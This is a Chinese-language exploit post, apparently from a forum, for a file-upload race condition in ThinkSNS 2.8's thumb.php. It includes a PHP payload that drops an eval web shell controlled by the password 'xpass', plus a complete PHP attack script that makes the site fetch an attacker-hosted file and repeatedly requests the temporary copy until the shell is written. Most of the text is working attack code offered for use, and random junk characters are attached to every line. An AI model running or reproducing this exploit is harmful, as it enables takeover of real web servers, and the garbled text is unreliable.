漏洞版本2 ]- E# r* e7 j$ m. _+ p/ @
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)( ? I+ o- j" W$ d! w
漏洞文件( b5 L1 o0 R$ C* V9 N
存在漏洞的文件为:thumb.php$ w1 p6 j$ W$ G( y
作者:韦鲲鹏8 ^; }: X) i8 Q9 O$ m& F6 h- ]. R& d
1、 准备如下PHP文件并上传到服务器(自己的)。; [0 m& D% j }$ V' r! p& u9 O
文件内容如下:
" n; y( `2 Z$ n2 X<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>, |8 @- a" N/ q9 q& h
2、 计算出临时的文件名:
- J+ G( D2 v" C5 c这里我们可以看文件的99行(刚刚是不是没注意呀!)。' s1 {1 s; k# C: D% r# J
9 o- X: j. O; r- Z1 U7 u
3、 上传临时文件。
, b* S& |+ [, Y! H4、 访问临时文件。
) \8 I! S2 |- F5 [但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
8 O9 W& K2 }( d1 hExploit文件内容如下:(这个我就不详细解释了)* [ L/ Z; s- X) b y: b# v
<?php8 ?! G' Z3 F: v+ i7 ?
error_reporting(0);* N5 _( A5 Q$ ]9 o$ }
set_time_limit(0);$ P+ Q! f' A; m) y o. h
ini_set(“default_socket_timeout”, 5);2 U* {3 S1 t" W
function http_send($host, $port, $headers) {; }2 @7 F) U, d
$fp = fsockopen($host, $port);2 D4 `9 N" h, p/ W' t
if (!$fp) die(‘Connection -> fail’);' s. u- f* `2 [/ f6 I0 c
fputs($fp, $headers);
+ I- D8 P+ Q/ I% u% Xreturn $fp;
6 e. U# ^2 |' O}7 @( b' h( n# E
function http_recv($fp) {
( i- L, y2 D" b/ c/ B$ret=”";
/ L- a, L# {- [9 jwhile (!feof($fp))
( I P2 \6 l' w, l: {! `3 F$ret.= fgets($fp, 1024);
. I$ q# y; R/ v5 P1 G) i. [# x0 dfclose($fp);0 U3 S6 n2 V9 L7 F
return $ret;
4 Q, l7 p0 T) e% x6 m* Q2 c/ h0 x) m}) Z' C& \5 z( n- j- s! K$ [4 i
print “\n# ThinkSns Arbitrary File Upload #\n”;, i, z: k0 [" W/ p2 j8 A
print “# Discovered by 韦鲲鹏 #\n\n”;
" n% m. ?8 z2 M$ Q+ s+ [, _if ($argc < 4) {
/ J8 J( f. y( {$ E) l; K( d4 xprint “Usage: php <host> <path> <romote_url>\n”;
$ `' Y3 ^! o: I$ ?& gprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;5 I, H$ h. }# y: |0 L% |5 d
die();
. b4 {5 [ G+ ^) I}7 f# {' e0 x. ~/ M o6 R) ^
$host = $argv[1];
, S2 \8 G! F. g6 s e7 f$path = $argv[2];* l& f9 i6 ^8 Y
$url = $argv[3];" v9 g5 [8 A( a2 r7 m. b3 G
$i=0;" U6 S' g1 T- l: E# F: _! N" P6 R, z
//上传数据包
/ F& {. b/ b$ ?7 d x; U1 u* n z7 E' N$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;- w1 }- S9 F* V' k9 C6 ]9 Q' u
$headers_up .= “Host: “.$host.”\r\n”;: ^- \2 @2 k% P% v
$headers_up .= “Connection: close\r\n\r\n”;
+ Q, w8 d7 O1 \+ _echo $headers_up;
2 W* q+ `, q8 b3 v. L1 q//临时文件访问数据包
' E( Q2 V! C* C! p' j9 [3 y$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;- B- r9 b- P1 s: B3 V
$headers .= “Host: “.$host.”\r\n”;
# W3 r7 e# R( y7 p3 t. `/ t$headers .= “Connection: close\r\n\r\n”;* V% G0 M3 H; r i
echo $headers;
/ `+ Y1 I+ U/ W! m3 qwhile(++$i<10) {- J0 J8 V* i- O. L. Z
fclose(http_send($host, 80, $headers)); Q& x; U; T% _
}
. F) d, O3 p5 y4 afclose(http_send($host, 80, $headers_up));! J) m4 e2 Z* X
while(++$i<50) {4 ]: d! q, T, X
fclose(http_send($host, 80, $headers));
0 [ G: _ T$ ^# @( s7 N8 M}- Z# [% o6 w( H3 |" b( a% B% N) H5 \
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;: z% k8 L* Q2 S5 y5 B8 j
$headers .= “Host: “.$host.”\r\n”;
( z; P- O; k- `, p6 |, f( i$headers .= “Connection: close\r\n\r\n”;
! C! i- Z* X$ [4 u5 F g) `$res=http_recv(http_send($host, 80, $headers));. ?8 Q$ {. y; S+ W: Z2 F
if(preg_match(‘/200 OK/’,$res)) {' e, J4 _. E: u5 M( z; |: b8 R
print “Success!\n\n”;
3 V3 h& A" \; l. A! C' b1 C+ e} else {
" Z |1 Z' d* W. ]" m) K. g6 Mprint “Fail!\n\n”;- o! {3 ~* p8 g! F2 X
}
) o( d3 f" U0 X5 {& L6 y4 g* l3 O?>6 C, R0 M7 }, ?# s5 ~
|